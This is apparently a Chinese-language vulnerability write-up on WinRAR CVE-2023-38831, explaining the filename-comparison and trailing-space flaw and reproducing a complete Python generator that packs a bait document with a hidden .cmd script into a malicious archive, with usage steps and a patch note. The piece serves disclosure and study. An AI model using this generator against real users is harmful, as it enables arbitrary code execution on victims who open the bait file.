RARLAB WinRAR 代码执行漏洞RCE (CVE-2023-38831)

本文涉及的产品
服务治理 MSE Sentinel/OpenSergo,Agent数量 不受限
云原生网关 MSE Higress,422元/月
应用实时监控服务-可观测链路OpenTelemetry版,每月50GB免费额度
简介: WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在 Windows环境下的图形界面。该软件可用于备份数据,缩减电子邮件附件的大小,解压缩从 Internet 上下载的RAR、ZIP及其它类型文件,并且可以新建 RAR 及 ZIP 格式等的压缩类文件。从5.60版开始,WinRAR启用了新的图标,但用户仍可以通过官网提供的主题包换回原版风格的图标。

声明


  请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞描述


  WinRAR是一款文件压缩器,该产品支持RAR、ZIP等格式文件的压缩和解压等。WinRAR在处理压缩包内同名的文件与文件夹时代码执行漏洞,攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件后,将在受害者机器上执行任意代码。


RARLabs WinRAR 6.23之前版本存在安全漏洞,攻击者利用该漏洞可以执行任意代码。


二、影响版本


  • WinRAR < 6.23


三、漏洞分析


漏洞触发主要分成两个环节:

1、点击诱饵文件时同名文件夹下的文件被释放

2、执行文件时执行文件夹下的 .cmd文件而不是原文件


释放文件

用户点击文件后,winrar会遍历zip文件中的direntry,比较direntry->name 和点击文件名(click_name),比较函数(0047F790) 的第四个参数option为0x80000006,该函数会调用00496020,option作为第三个参数传入,00496020中会对 click_name 和 entry_name 进行字符串对比。

image.png

   由于传入的比较长度为 click_name 的长度,类似 "CLASSIFIED_DOCUMENTS.pdf " 和 "CLASSIFIED_DOCUMENTS.pdf \CLASSIFIED_DOCUMENTS.pdf .cmd " 的比较会匹配,所以当direntry中存在与点击文件同名文件夹时,比较函数会返回1表示匹配,后续该entry对应的文件会连同点击文件一起被释放。

image.png

  在修复版本623beta中,传入比较函数的option的值为0x80000002,该条件下比较函数会首先提取两个参数的目录名进行比较,则上面情况不再匹配。

image.png

image.png

  option的值新版本设置flag进行控制,在创建临时目录成功后设置flag,并在解析过程中使用。

image.png

image.png

image.png

文件执行

  以下面利用代码部分为例,在winrar展示窗口双击pdf文件后,winrar会使用函数ShellExecuteExW执行文件,这里传入的参数为:

"C:\Users\************\AppData\Local\Temp\Rar$DIa*****.*****\CLASSIFIED_DOCUMENTS.pdf "

image.png

由于上述bug的存在,临时文件夹下会释放以下两个文件:CLASSIFIED_DOCUMENTS.pdfCLASSIFIED_DOCUMENTS.pdf .cmd


这两个文件的末尾空格都在函数4A26B0中被去除

image.png

由于ShellExecuteExW参数最后有空格,它会执行第二个 .cmd文件,漏洞触发!!!

image.png

四、漏洞复现


本次复现环境如下


复现环境安装包:https://download.csdn.net/download/weixin_46944519/88326859

image.png

github脚本验证


项目地址: https://github.com/b1tg/CVE-2023-38831-winrar-exploit


利用代码如下(代码成分已标注)


import shutil

import os, sys

from os.path import join

TEMPLATE_NAME = "TEMPLATE"

OUTPUT_NAME = "CVE-2023-38831-poc.tar"

# 模板文件夹的名称

BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"

#诱饵文件

SCRIPT_NAME = "script.bat"

#脚本文件

if len(sys.argv) > 3:

   BAIT_NAME = os.path.basename(sys.argv[1])

   SCRIPT_NAME = os.path.basename(sys.argv[2])

   OUTPUT_NAME = os.path.basename(sys.argv[3])

elif len(sys.argv) == 2 and sys.argv[1] == "poc":

   pass

else:

   print("""Usage:

         python .\cve-2023-38831-exp-gen.py poc

         python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")

   sys.exit()

# 赋值 BAIT_NAME, SCRIPT_NAME 和 OUTPUT_NAME

BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

# 确定其扩展名,将 BAIT_NAME 按照最后一个"."进行分割,取最后一部分作为扩展名,并添加 b"." 前缀,得到 BAIT_EXT

print("BAIT_NAME:", BAIT_NAME)

print("SCRIPT_NAME:", SCRIPT_NAME)

print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):

   shutil.rmtree(TEMPLATE_NAME)

os.mkdir(TEMPLATE_NAME)

d = join(TEMPLATE_NAME, BAIT_NAME + "A")

if not os.path.exists(d):

   os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))

shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):

#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))

#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:

   content = f.read()

   content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")

   content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

#改诱饵文件扩展名

os.remove(TEMPLATE_NAME + ".zip")

# 删除临时zip

with open(OUTPUT_NAME, "wb")  as f:

   f.write(content)

#写入文件

print("ok..")


生成POC的两种方式


python cve-2023-38831-exp-gen.py poc

or

python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat poc.rar


使用方法:


1、将诱饵文件和(邪恶)脚本文件放置在当前目录下,诱饵文件建议为图片(.png、jpg)或文档(.pdf)

2、运行python cve-2023-38831-exp-gen.py <bait name> <script name> <output name>以生成您的漏洞利用程序

image.png

执行命令生成exp.rar,将压缩包打开双击运行*****.pdf文件

最终执行Calc

image.png

五、修复建议


建议未及时进行更新的要尽快更新至最新版本 6.23,以免被恶意攻击。

目录
相关文章
|
网络协议 Ubuntu 网络安全
如何搭建 Jump Server
搭建 Jump Server(跳板服务器)是为了安全地管理远程服务器,通常通过 SSH 连接。
462 0
|
2月前
|
关系型数据库 分布式数据库 数据库
阿里云数据库收费价格:MySQL、PostgreSQL、SQL Server和MariaDB引擎费用整理
阿里云数据库提供多种类型,包括关系型与NoSQL,主流如PolarDB、RDS MySQL/PostgreSQL、Redis等。价格低至21元/月起,支持按需付费与优惠套餐,适用于各类应用场景。
|
3月前
|
缓存 安全 Windows
错误代码0x80070570步骤
针对错误代码 ‌0x80070570‌(文件或目录损坏错误),以下是详细解决步骤:
|
5月前
|
人工智能 自然语言处理 数据可视化
DeepSeek+Coze:普通人也能轻松搭建AI智能体的完整指南优雅草卓伊凡
DeepSeek+Coze:普通人也能轻松搭建AI智能体的完整指南优雅草卓伊凡
1791 1
DeepSeek+Coze:普通人也能轻松搭建AI智能体的完整指南优雅草卓伊凡
|
6月前
|
人工智能 IDE 定位技术
AI IDE正式上线!通义灵码开箱即用
作为AI原生的开发环境工具,通义灵码AI IDE深度适配了最新的千问3大模型,并全面集成通义灵码插件能力,具备编程智能体、行间建议预测、行间会话等功能。
865 13
|
安全 Linux 网络安全
Kali渗透测试:使用工具Metasploit攻击操作系统(二)
Kali渗透测试:使用工具Metasploit攻击操作系统(二)
1162 0
|
存储 域名解析 前端开发
云上攻防-云服务篇&对象存储&Bucket桶&任意上传&域名接管&AccessKey泄漏
云上攻防-云服务篇&对象存储&Bucket桶&任意上传&域名接管&AccessKey泄漏
960 8
|
Linux Shell 数据安全/隐私保护
Linux更改普通用户密码的三种方法
Linux更改普通用户密码的三种方法
1132 0
|
安全 网络协议 搜索推荐
子域名收集神器:Layer 保姆级教程(附链接)
子域名收集神器:Layer 保姆级教程(附链接)
|
缓存 网络协议
Wireshark中的ARP协议包分析
Wireshark可以跟踪网络协议的通讯过程,本节通过ARP协议,在了解Wireshark使用的基础上,重温ARP协议的通讯过程。 ARP(Address Resolution Protocol)地址解析协议,是根据IP地址获取物理地址的一个TCP/IP协议。 主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。 在Wireshark界面,我们可以看到19、20号数据包,就是一对标准的ARP请求和响应包。